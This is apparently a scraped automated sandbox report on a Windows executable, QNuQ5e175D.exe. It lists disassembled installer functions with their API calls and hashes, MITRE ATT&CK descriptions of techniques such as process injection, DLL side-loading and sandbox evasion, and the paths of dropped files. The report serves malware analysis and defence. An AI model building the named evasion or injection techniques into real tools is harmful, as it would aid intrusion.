Instruction ID: c57303c31a56d7bc8f2a0c5af16d3cdd50a2ae23bf22298ce01a5789fd7b985b
Opcode Fuzzy Hash: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
Instruction Fuzzy Hash: B9211972900119AFCB05DF98DE45AEEBBB5EB08354F14003AFA45F62A0D7789D81DB98

Function 00401E73 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E76
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E90
MulDiv.KERNEL32(00000000,00000000), ref: 00401E98
ReleaseDC.USER32(?,00000000), ref: 00401EA9
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401EF8

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction ID: 32ce691c062fdf7882ca7c79f7dc95dd78c7e40f541a0607bb82830de01dd458
Opcode Fuzzy Hash: d16b9d3e65f9976eb005c53eb2d4e9b3ac670e2d85412e8b50a51612330472b7
Instruction Fuzzy Hash: 3C017171905250EFE7005BB4EE49BDD3FA4AB19301F208A7AF142B61E2CBB904458BED

Function 00401C68 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CD8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CF0

Strings

!, xrefs: 00401CA4

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction ID: 1a2acd516b32d4a8bba1f086ee74ddb70cdd2400578aaa813c3bd98b8eca9c32
Opcode Fuzzy Hash: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction Fuzzy Hash: 1121A071D1421AAEEB05AFA4D94AAFE7BB0EF44304F10453FF501B61D0D7B88941DB98

Function 00404DA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
wsprintfW.USER32 ref: 00404E4D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

%u.%u%s%s, xrefs: 00404E2E

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: f1ad69e943298bab6ea0b6c220370dbc78873d19d133ff1b34b391d97265b774
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: 3011EB336041287BDB10566DAC45E9E329CDF85374F250237FE25F21D5E978C92182E8

Function 0040303E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,0040321C,00000001), ref: 00403051
GetTickCount.KERNEL32 ref: 0040306F
CreateDialogParamW.USER32(0000006F,00000000,00402FB8,00000000), ref: 0040308C
ShowWindow.USER32(00000000,00000005), ref: 0040309A

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction ID: e0f0fd039426b51c9db09d8e0aed7b7b9f53d87474512ec8403aba9b2c913b41
Opcode Fuzzy Hash: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction Fuzzy Hash: 93F05470602A21ABC6216F50FE09A9B7B69FB45B12B41043AF545B11ACCB384891CB9D

Function 00405F4E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 00405EF1: CharNextW.USER32(?,?,0042F270,?,00405F65,0042F270,0042F270, 4ou,?,00441800,00405CA3,?,756F3420,00441800,0043F000), ref: 00405EFF
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C

lstrlenW.KERNEL32(0042F270,00000000,0042F270,0042F270, 4ou,?,00441800,00405CA3,?,756F3420,00441800,0043F000), ref: 00405FA7
GetFileAttributesW.KERNEL32(0042F270,0042F270,0042F270,0042F270,0042F270,0042F270,00000000,0042F270,0042F270, 4ou,?,00441800,00405CA3,?,756F3420,00441800), ref: 00405FB7

Strings

4ou, xrefs: 00405F50

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4ou
API String ID: 3248276644-1612631989
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 6a7a19aedd3560da6e477bd72522a8c235124595f9c35bb96c459409ca5d5c37
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 28F0F42A105E6369C622333A5C05AAF1954CE86324B5A453FBC91F22C5CF3C8A42CDBE

Function 00405570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040559F
CallWindowProcW.USER32(?,?,?,?), ref: 004055F0

Part of subcall function 00404542: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404554

Strings

, xrefs: 00405580

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: f144bc20a23b2fc1dad06cc698734642626ca736bc3518a3bbd7873959a32aa8
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 21017171100608BBDF219F11DD84A9F376BEB84794F204037FA027A1D9C7398D529A69

Function 00406096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004060B4
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403550,00441000,00441800,00441800,00441800,00441800,00441800,00441800,0040383C), ref: 004060CF

Strings

nsa, xrefs: 004060A3

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 0f0e971a11aa9000600537ad3b21051f2e76e4828209a3ca974843c19b3e0847
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: B5F09076B40204BBEB00CF69ED05F9EB7ACEBA5750F11803AE901F7180E6B099648768

Function 00405FCC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FF4
CharNextA.USER32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406005
lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

Memory Dump Source

Source File: 00000003.00000002.2559277724.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2559261353.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559293898.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559309155.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2559348158.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: b896d6fd3cda69cb85c158c7a33f171d68b8f81fed19edc6c2f6f75b2124ada4
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: 64F0F631104418FFC702DFA5DD00D9EBBA8EF45350B2200B9E841FB250D674DE11AB68

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QNuQ5e175D.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Assureringer69.udv

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Nonpatentability.Cou

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Sunbreak.Pat

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\serow.kar

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
QNuQ5e175D.exe

Function 00403552 Relevance: 84.5, APIs: 32, Strings: 16, Instructions: 464
stringfilecomCOMMON

Function 0040573B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 00405C83 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403FF7 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Function 00403C49 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 004030A2 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Function 004065B4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Function 004032D9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Function 00401794 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004055FC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 004068FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Function 73B01817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004024AF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON